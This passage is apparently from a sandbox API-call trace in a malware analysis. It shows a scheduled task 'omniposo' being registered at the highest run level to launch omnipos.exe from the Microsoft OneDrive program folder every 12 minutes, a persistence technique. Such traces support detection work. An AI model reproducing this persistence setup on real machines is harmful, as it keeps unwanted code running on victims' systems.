(_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.716] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0141.716] lstrlenW (lpString="Last") returned 4 [0141.716] GetProcessHeap () returned 0x330000 [0141.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xa) returned 0x34d660 [0141.716] lstrlenW (lpString="12") returned 2 [0141.716] _wtol (_String="12") returned 12 [0141.716] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.716] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0141.716] lstrlenW (lpString="First") returned 5 [0141.716] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.716] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0141.716] lstrlenW (lpString="Second") returned 6 [0141.717] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.717] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0141.717] lstrlenW (lpString="Third") returned 5 [0141.717] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.717] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0141.717] lstrlenW (lpString="Fourth") returned 6 [0141.717] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.717] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0141.717] lstrlenW (lpString="Last") returned 4 [0141.717] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc200, cchData=128 | out: lpLCData="0") returned 2 [0141.717] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.717] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0141.717] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0141.717] GetProcessHeap () returned 0x330000 [0141.717] GetProcessHeap () returned 0x330000 [0141.717] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5e0) returned 1 [0141.717] GetProcessHeap () returned 0x330000 [0141.717] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d5e0) returned 0xc [0141.717] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d5e0 | out: hHeap=0x330000) returned 1 [0141.717] GetProcessHeap () returned 0x330000 [0141.717] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x16) returned 0x34d5e0 [0141.717] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc220, cchData=128 | out: lpLCData="0") returned 2 [0141.718] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.718] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0141.718] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0141.718] GetProcessHeap () returned 0x330000 [0141.718] GetProcessHeap () returned 0x330000 [0141.718] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d600) returned 1 [0141.718] GetProcessHeap () returned 0x330000 [0141.718] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d600) returned 0xe [0141.718] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d600 | out: hHeap=0x330000) returned 1 [0141.718] GetProcessHeap () returned 0x330000 [0141.718] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x16) returned 0x34d600 [0141.718] GetLocalTime (in: lpSystemTime=0x1bc450 | out: lpSystemTime=0x1bc450*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x4, wMilliseconds=0x313)) [0141.718] lstrlenW (lpString="") returned 0 [0141.718] GetLocalTime (in: lpSystemTime=0x1bcd08 | out: lpSystemTime=0x1bcd08*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x4, wMilliseconds=0x323)) [0141.718] lstrlenW (lpString="") returned 0 [0141.718] lstrlenW (lpString="") returned 0 [0141.718] lstrlenW (lpString="") returned 0 [0141.719] lstrlenW (lpString="") returned 0 [0141.719] lstrlenW (lpString="12") returned 2 [0141.719] _wtol (_String="12") returned 12 [0141.719] lstrlenW (lpString="") returned 0 [0141.719] lstrlenW (lpString="") returned 0 [0141.719] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0141.757] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0141.841] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bcad0 | out: ppv=0x1bcad0*=0x117ad0) returned 0x0 [0141.851] TaskScheduler:ITaskService:Connect (This=0x117ad0, serverName=0x1bcbb0*(varType=0x8, wReserved1=0x1b, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1bcb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1bcb90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bcb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0141.895] TaskScheduler:IUnknown:AddRef (This=0x117ad0) returned 0x2 [0141.895] TaskScheduler:ITaskService:GetFolder (in: This=0x117ad0, Path=0x0, ppFolder=0x1bcc68 | out: ppFolder=0x1bcc68*=0x117d00) returned 0x0 [0141.898] TaskScheduler:ITaskService:NewTask (in: This=0x117ad0, flags=0x0, ppDefinition=0x1bcc60 | out: ppDefinition=0x1bcc60*=0x117d50) returned 0x0 [0141.899] ITaskDefinition:get_Actions (in: This=0x117d50, ppActions=0x1bcbe0 | out: ppActions=0x1bcbe0*=0x117e10) returned 0x0 [0141.899] IActionCollection:Create (in: This=0x117e10, Type=0, ppAction=0x1bcc00 | out: ppAction=0x1bcc00*=0x1165e0) returned 0x0 [0141.899] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.899] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.899] lstrlenW (lpString=" ") returned 1 [0141.899] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.899] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0141.900] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0141.900] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0141.900] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.900] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.901] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0141.901] IUnknown:Release (This=0x1165e0) returned 0x1 [0141.901] IUnknown:Release (This=0x117e10) returned 0x1 [0141.901] ITaskDefinition:get_Triggers (in: This=0x117d50, ppTriggers=0x1bc760 | out: ppTriggers=0x1bc760*=0x117f50) returned 0x0 [0141.901] ITriggerCollection:Create (in: This=0x117f50, Type=1, ppTrigger=0x1bc758 | out: ppTrigger=0x1bc758*=0x116650) returned 0x0 [0141.902] lstrlenW (lpString="12") returned 2 [0141.902] _vsnwprintf (in: _Buffer=0x1bc6e0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1bc6d8 | out: _Buffer="PT12M") returned 5 [0141.902] ITrigger:get_Repetition (in: This=0x116650, ppRepeat=0x1bc750 | out: ppRepeat=0x1bc750*=0x1166e0) returned 0x0 [0141.902] IRepetitionPattern:put_Interval (This=0x1166e0, Interval="PT12M") returned 0x0 [0141.902] IUnknown:Release (This=0x1166e0) returned 0x1 [0141.902] _vsnwprintf (in: _Buffer=0x1bc6a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1bc678 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0141.902] ITrigger:put_StartBoundary (This=0x116650, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0141.902] lstrlenW (lpString="") returned 0 [0141.902] lstrlenW (lpString="") returned 0 [0141.902] lstrlenW (lpString="") returned 0 [0141.902] lstrlenW (lpString="") returned 0 [0141.902] IUnknown:Release (This=0x116650) returned 0x1 [0141.903] IUnknown:Release (This=0x117f50) returned 0x1 [0141.903] ITaskDefinition:get_Settings (in: This=0x117d50, ppSettings=0x1bcc00 | out: ppSettings=0x1bcc00*=0x1163c0) returned 0x0 [0141.903] lstrlenW (lpString="") returned 0 [0141.903] IUnknown:Release (This=0x1163c0) returned 0x1 [0141.903] GetLocalTime (in: lpSystemTime=0x1bcab8 | out: lpSystemTime=0x1bcab8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x4, wMilliseconds=0x3ce)) [0141.903] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0141.903] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0141.904] GetUserNameW (in: lpBuffer=0x1bcae0, pcbBuffer=0x1bcac8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bcac8) returned 1 [0141.904] ITaskDefinition:get_RegistrationInfo (in: This=0x117d50, ppRegistrationInfo=0x1bcab0 | out: ppRegistrationInfo=0x1bcab0*=0x117e90) returned 0x0 [0141.904] IRegistrationInfo:put_Author (This=0x117e90, Author="") returned 0x0 [0141.904] _vsnwprintf (in: _Buffer=0x1bcae0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1bca78 | out: _Buffer="2022-08-06T02:19:04") returned 19 [0141.904] IRegistrationInfo:put_Date (This=0x117e90, Date="") returned 0x0 [0141.904] IUnknown:Release (This=0x117e90) returned 0x1 [0141.905] malloc (_Size=0x18) returned 0x117cb0 [0141.905] free (_Block=0x117cb0) [0141.905] lstrlenW (lpString="") returned 0 [0141.905] ITaskDefinition:get_Principal (in: This=0x117d50, ppPrincipal=0x1bccd0 | out: ppPrincipal=0x1bccd0*=0x116530) returned 0x0 [0141.905] IPrincipal:put_RunLevel (This=0x116530, RunLevel=1) returned 0x0 [0141.905] IUnknown:Release (This=0x116530) returned 0x1 [0141.905] malloc (_Size=0x18) returned 0x117cb0 [0141.906] ITaskFolder:RegisterTaskDefinition (in: This=0x117d00, Path="omniposo", pDefinition=0x117d50, flags=6, UserId=0x1bcd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bcd90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bec60, varVal2=0xfe), LogonType=3, sddl=0x1bcd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1bcc70 | out: ppTask=0x1bcc70*=0x1168c0) returned 0x0 [0142.027] free (_Block=0x117cb0) [0142.027] _memicmp (_Buf1=0x34bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.027] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x34d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0142.027] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0142.027] GetProcessHeap () returned 0x330000 [0142.027] GetProcessHeap () returned 0x330000 [0142.027] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d620) returned 1 [0142.027] GetProcessHeap () returned 0x330000 [0142.027] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d620) returned 0xc [0142.027] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d620 | out: hHeap=0x330000) returned 1 [0142.027] GetProcessHeap () returned 0x330000 [0142.027] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x82) returned 0x369d10 [0142.027] _vsnwprintf (in: _Buffer=0x1bd3b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1bcc18 | out: _Buffer="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0142.027] _fileno (_File=0x7fefed02ab0) returned -2 [0142.027] _errno () returned 0x114bb0 [0142.027] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0142.028] SetLastError (dwErrCode=0x6) [0142.028] lstrlenW (lpString="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n") returned 70 [0142.028] GetConsoleOutputCP () returned 0x0 [0142.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0142.028] GetConsoleOutputCP () returned 0x0 [0142.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omniposo\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0142.028] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0142.028] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0142.028] IUnknown:Release (This=0x1168c0) returned 0x0 [0142.028] TaskScheduler:IUnknown:Release (This=0x117d50) returned 0x0 [0142.029] TaskScheduler:IUnknown:Release (This=0x117d00) returned 0x0 [0142.029] TaskScheduler:IUnknown:Release (This=0x117ad0) returned 0x1 [0142.029] lstrlenW (lpString="") returned 0 [0142.029] lstrlenW (lpString="12") returned 2 [0142.029] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0142.029] GetProcessHeap () returned 0x330000 [0142.029] GetProcessHeap () returned 0x330000 [0142.029] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c390) returned 1 [0142.029] GetProcessHeap () returned 0x330000 [0142.029] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c390) returned 0x1fc [0142.029] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c390 | out: hHeap=0x330000) returned 1 [0142.030] GetProcessHeap () returned 0x330000 [0142.030] GetProcessHeap () returned 0x330000 [0142.031] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34b9d0) returned 1 [0142.031] GetProcessHeap () returned 0x330000 [0142.031] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34b9d0) returned 0x6 [0142.031] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b9d0 | out: hHeap=0x330000) returned 1 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d540) returned 1 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d540) returned 0x16 [0142.032] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d540 | out: hHeap=0x330000) returned 1 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d520) returned 1 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d520) returned 0x18 [0142.032] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d520 | out: hHeap=0x330000) returned 1 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] GetProcessHeap () returned 0x330000 [0142.032] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0) returned 1 [0142.032] GetProcessHeap () returned 0x330000 [0142.033] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdf0) returned 0x20 [0142.033] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0 | out: hHeap=0x330000) returned 1 [0142.033] GetProcessHeap () returned 0x330000 [0142.033] GetProcessHeap () returned 0x330000 [0142.033] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c030) returned 1 [0142.033] GetProcessHeap () returned 0x330000 [0142.033] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c030) returned 0xa0 [0142.034] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c030 | out: hHeap=0x330000) returned 1 [0142.034] GetProcessHeap () returned 0x330000 [0142.034] GetProcessHeap () returned 0x330000 [0142.034] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bab0) returned 1 [0142.034] GetProcessHeap () returned 0x330000 [0142.034] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bab0) returned 0x18 [0142.034] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bab0 | out: hHeap=0x330000) returned 1 [0142.034] GetProcessHeap () returned 0x330000 [0142.034] GetProcessHeap () returned 0x330000 [0142.034] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb50) returned 1 [0142.034] GetProcessHeap () returned 0x330000 [0142.034] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cb50) returned 0x20 [0142.036] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb50 | out: hHeap=0x330000) returned 1 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c290) returned 1 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c290) returned 0x70 [0142.036] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c290 | out: hHeap=0x330000) returned 1 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d560) returned 1 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d560) returned 0x18 [0142.036] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d560 | out: hHeap=0x330000) returned 1 [0142.036] GetProcessHeap () returned 0x330000 [0142.036] GetProcessHeap () returned 0x330000 [0142.037] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb20) returned 1 [0142.037] GetProcessHeap () returned 0x330000 [0142.037] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cb20) returned 0x20 [0142.037] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cb20 | out: hHeap=0x330000) returned 1 [0142.037] GetProcessHeap () returned 0x330000 [0142.037] GetProcessHeap () returned 0x330000 [0142.037] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34dcd0) returned 1 [0142.037] GetProcessHeap () returned 0x330000 [0142.037] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34dcd0) returned 0x72 [0142.037] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34dcd0 | out: hHeap=0x330000) returned 1 [0142.037] GetProcessHeap () returned 0x330000 [0142.037] GetProcessHeap () returned 0x330000 [0142.037] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d500) returned 1 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d500) returned 0x18 [0142.038] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d500 | out: hHeap=0x330000) returned 1 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34caf0) returned 1 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34caf0) returned 0x20 [0142.038] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34caf0 | out: hHeap=0x330000) returned 1 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c370) returned 1 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c370) returned 0xe [0142.038] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c370 | out: hHeap=0x330000) returned 1 [0142.038] GetProcessHeap () returned 0x330000 [0142.038] GetProcessHeap () returned 0x330000 [0142.039] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c350) returned 1 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c350) returned 0x18 [0142.039] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c350 | out: hHeap=0x330000) returned 1 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345d80) returned 1 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345d80) returned 0x20 [0142.039] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345d80 | out: hHeap=0x330000) returned 1 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bc30) returned 1 [0142.039] GetProcessHeap () returned 0x330000 [0142.039] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34bc30) returned 0x208 [0142.040] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34bc30 | out: hHeap=0x330000) returned 1 [0142.040] GetProcessHeap () returned 0x330000 [0142.040] GetProcessHeap () returned 0x330000 [0142.040] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba90) returned 1 [0142.040] GetProcessHeap () returned 0x330000 [0142.040] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ba90) returned 0x18 [0142.040] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ba90 | out: hHeap=0x330000) returned 1 [0142.040] GetProcessHeap () returned 0x330000 [0142.040] GetProcessHeap () returned 0x330000 [0142.040] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345c90) returned 1 [0142.040] GetProcessHeap () returned 0x330000 [0142.040] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345c90) returned 0x20 [0142.041] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345c90 | out: hHeap=0x330000) returned 1 [0142.041] GetProcessHeap () returned 0x330000 [0142.041] GetProcessHeap () returned 0x330000 [0142.041] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d2c0) returned 1 [0142.041] GetProcessHeap () returned 0x330000 [0142.041] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d2c0) returned 0x200 [0142.041] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d2c0 | out: hHeap=0x330000) returned 1 [0142.041] GetProcessHeap () returned 0x330000 [0142.041] GetProcessHeap () returned 0x330000 [0142.041] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34bad0) returned 1 [0142.041] GetProcessHeap () returned 0x330000 